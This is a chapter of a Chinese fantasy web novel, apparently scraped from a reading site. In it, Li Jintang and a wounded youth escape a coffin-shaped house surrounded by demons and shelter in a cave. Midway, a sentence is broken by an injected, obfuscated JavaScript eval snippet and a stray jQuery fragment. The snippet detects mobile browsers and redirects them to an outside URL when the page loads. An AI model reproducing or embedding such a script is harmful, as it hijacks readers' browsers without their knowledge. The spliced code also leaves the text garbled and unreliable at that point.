默认冷灰
24号文字
方正启体

4. 棺材房

作者:长夜一灯明本书字数:K更新时间:
    似乎一切都通了。


    无怪乎那一众妖物千里迢迢来此,原来根本不是在行跪拜礼,不过是对祭奠墓中之人罢了。


    “你是说,这房子是个棺材?”命书惊呼,颤颤巍巍道∶“那如此说来,如此说来……我刚刚吃的,岂不是祭品?”


    “提醒你不要偷吃了。”李今棠无奈地瞥它一眼,眼下却没心思同他辩解,只一个劲地思忖要如何才能出去。


    房子愈缩愈小,李今棠心头一颤——若这屋子最终缩成棺材大小,他们岂不是要被闷死在此?


    可屋外众妖环绕,即便出去了,恐也难逃一死。


    脑中忽地闪过一个念头——倘若她就此死了,能否再穿回去,见到爹娘和阿姐?


    命书却仿佛能读出她心中所想一般,喝道∶“命只有一条,你若死在这,便是真的死了,可甭指望还能回去。”


    “你不是说跟着这臭小子能离开吗?哼,老子看他一点用没有!”


    李今棠望他一眼,见对方无动于衷,也只暗暗在心底叹口气。


    她当初救人,虽有过此念想,但即便人家不是什么主角,也不能强人所难。


    屋外那群妖不知何时会走,待到那时指不定他们都成了两具干尸了。


    她挪到门边,透过那条缝,


    李今棠蹲下身,双手环抱住膝盖蜷缩起身体。她闭上眼,死亡的恐惧笼罩全身。


    忽听得一个声音从上方传来∶


    “你很害怕吗?”


    她仰起头,脸上挂着丝丝凉凉的泪痕。


    “是有一点,”她急急抬手拭去,窘迫道∶“我不想哭的,我也不知为何会流泪。”


    少年别开视线,眼望屋外良久,方道∶“如你信得过我,我可带你突破重围。”


    “不行的,”李今棠站起身,挡在他面前,“你伤还没好全,怎可……”


    话未说完,忽然面前伸来一柄剑鞘,他眼帘微垂,“是要跟我出去,还是死在这里,你自己选。”


    李今棠愣了一瞬,随即犹豫着伸出手,在触到剑鞘的那一刻,只听轰隆一声响,‘屋顶’让人生生破开。她紧闭上眼,胡乱伸出手攥紧那人的衣袖,只觉整个人都腾在空中,摇摇欲坠。


    隔了不知多久,那股强烈的失重感才缓缓消散。


    “你可以松开了。”


    耳边传来不轻不重的一声,她急忙撇开手,在对方衣袖上轻拍几下,替他理好被自己扯出来的褶皱。


    抬眼看向四周,哪里还有什么房子,连只妖怪的影子也没见着。


    她死里逃生,仍心有余悸,眨了眨眼道∶“我们这是……逃出来了?”


    “你若想回去也可……”


    手腕忽然一紧,他怔怔垂眸,便见姑娘两手搭在自己手腕上,笑起来时眼泛泪花∶


    “福子,你也太厉害啦,这回多亏了有你。”


    李今棠没等他做出反应,便注意到地上躺着的一块玉佩。


    她附身将其捡起,握在手中掂量∶“这是何人落在此处的?上面还有字……”


    还未来得及细看,忽然一阵风迎面而来,玉佩已被人夺去。


    “原是你的,”李今棠垂下手,想起刚刚看见的字,便问道∶“那上面写的是你的名字么?你叫谢……”


    少年闻言眉梢挑起,泛起杀意的目光紧紧停留在她身上,手中玉佩似要被他生生捏碎。


    李今棠并未注意到他的异样,只回忆了一番,不确定道∶“谢安?福子,你真名原来叫谢安对不对?”


    “……”


    少年垂眸欲将玉佩重新别好,‘嗯’了一声。


    “我这儿还有根新绳子,”见他试了几次都系不上,李今棠翻翻荷包,拿出一根崭新的红绳,“用我这个罢。”


    “不必了。”‘谢安’并未去接她递来的红绳,只将玉佩握在掌心,掉头便走。


    玉佩上明明白白刻着‘谢长宴’三字,可惜她来不及看清,于是错将‘宴’看作了‘安’。


    也幸而没看清,否则她就算从众妖口中逃脱,现下也定会丧命在他手里。


    “福子是要离开了吗?”李今棠以为他是要寻出去的路,便跟上前去,又是欢喜又是担忧∶“可你的伤还没好全,不碍事么?”


    谢长宴顿足望向她∶“你说什么?”


    “方才是疗过伤了,”李今棠紧走几步追上来,道∶“可也只能让它看上去不那么可怖,要想找回流失的灵力,还须寻些草药才行。”


    “你不信的话,大可自行运气,一试便知。”


    他眼睫微垂,自知她说得不假。


    方才冲破棺材之时,便已使了七成力才勉强打破,若在平时,这小小棺材盖,他又怎会放在眼里?


    “什么草药?”


    李今棠想起先前在古籍中看到的,便道∶“回灵草,它可以帮你。”


    谢长宴又道∶“哪可以寻到?”


    李今棠噎了一下,她只记得这草药的名字,记忆中古籍的内容却模模糊糊,怎么也想不起来。


    她看向一旁的命书∶“你可不可以告诉我,回灵草生长在什么地方?”


    等不来回答,她在书面上轻轻一拍,道∶“神通广大的命书,你不会不知道罢?”


    命书让她这么一激,果真没好气地开口道∶“极寒之地,就你这细皮嫩肉的,一去准死。”


    李今棠听罢,如实转告了他,随后扔下一句‘祝你顺利’,便准备与他反方向而行。


    “且慢。”


    她顿住,回头看着他缓步尾随而来,垂头翻了翻荷包,道∶“你没有东西落在我这啦。”


    “……”他抽了抽嘴角,下一瞬便向姑娘欺近。


    李今棠不觉往后一退。


    她个子不高,这人就这么立在前面,从头顶上方罩下大片阴影,结结实实遮去了大半阳光。


    “你不同我一起?”


    原是想说这个,李今棠心道他身上有伤,独自一人前去,定有危险,可她也不能在此耽搁太久,思量片刻,还是歉仄道∶“我灵力低微,就算和你一道,遇见妖怪也一样打不过它们。”


    少年笑容僵在唇边,脸色倏地一沉∶“不是救人救到底么?”


    “难道姑娘就这么看着一个手无寸铁的人去送死,却不相救么?”


    说罢,他一改方才的面色,摆出一副楚楚可怜的模样,道∶“罢了,我本灵力甚微,如今更是成了废人,死便死了。”


    他连说三句,李今棠一时也不知该如何作答,她自是不愿看他落入生死未卜中,可——


    “我还想回家……”她喃喃细语。


    对方视线仍旧停留在自己身上,她撇开眼,心底一软,妥协道∶“那地方我实在没法与你同去,若你不嫌弃的话,我可尽力一试……”


    “那便多谢姑娘了。”未等她说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235764|166078||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    完,他径直从她身侧走过,目不斜视。


    罢了,他本就灵力不高,眼下还受了伤,多留两日也不会如何。


    更何况,就算要走,她也不知该往何处去。


    李今棠匆忙将命书抱在怀里,小步跟了上去∶“你要去哪儿?”


    “前面有个山洞,暂不会有妖寻来。”他说这话时头也不回,脚步却放缓了些。


    洞口极窄,仅容一人通过,洞中空间却不小,形似椭圆,两人一前一后走进去,到了晚上,连火把也不敢燃起,生怕引来妖物。


    “怎么不继续了?”


    李今棠为他灌了不少灵力,忽然一阵黑暗笼罩下来,抬头才发觉洞外已变了天。她揉揉手腕,道∶“天黑了,我看不见呢,明日再继续罢。”


    忽听得‘咔嚓’一声响,身旁一根木柴凭空点起,火苗随风一晃一晃地映在二人脸庞,发出幽幽亮光。


    “现在看得见了么?”谢长宴点完火,侧目看向姑娘,眼里倒映出火光∶“火势不大,不会招来东西。”


    见他提前预判了自己的问题,李今棠便不再问,只道他这般着急,是因为失了灵力浑身难受所致,因此也没再耽搁,就着微弱亮光摸上伤口处,继续向其灌输灵力。


    洞外淅淅沥沥地下起雨,斜打在洞壁上,噼里啪啦一阵响。


    “今日就到这罢,”李今棠又说了一遍,这回语气不容置喙,“我累了。”


    身后一阵窸窸窣窣的噪声,谢长宴不用看便知是她离开了。他阖上眼,暗自运气一番,发觉灵力已恢复至九成,只身从这逃出,也是绰绰有余。


    李今棠趺坐在洞壁旁,与他保持了一段距离。她拿过被自己搁在大石上的命书,翻开第一页。


    ……一片空白。


    “你不是什么都知道吗?”她将它晃醒,细声道∶“为何里头什么也没有?”


    命书让人搅了睡眠,本欲发火,但听她如此质问自己,气势一下便弱了下来∶“其实,其实,我……”


    李今棠听它‘我’了半晌也没说出个所以然来,莫名觉得好笑∶“所以你先前是骗我的罢?那我问你,我现在到底是在哪儿?”


    “谁说骗你了?”命书只恨自己没长手,不然就要当场对天立誓了,“你的确身在话本中不错,只是老子为了找你,颠簸了好些日子,灵力都耗光啦,里面的内容……当然也跟着不见了。”


    李今棠让它唬得一愣一愣的,不明白这事怎么还能怨到自己身上。


    “我跟着你吃了这许多苦,还要挨你骂……”那命书说着说着,语调竟不觉带了哭腔。


    “我并没有怪你,”李今棠不懂它怎么能说哭就哭,只好道∶“好罢好罢,不见便不见了,待你慢慢想起来便好。”


    和一本书有什么好计较的呢?它又不能突然变成个人,把她给拐走。


    洞外风声簌簌,听得人直犯困,李今棠倚着洞壁,睡着时怀里还搂着命书。


    次日清晨,雨停风止,一缕阳光从洞口钻进来,照在姑娘手背。


    “你怎么样了?”


    半晌不见回答,李今棠睁开眼,却见身旁空空如也,连个人影也没见着。


    “福子?”


    这一声喊出口后又觉得不太对,她于是改口唤道∶“谢安?”


    连唤几声皆无人应答,李今棠忽觉一阵不安。


    他该不会,是夜里让妖怪给叼走了罢?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)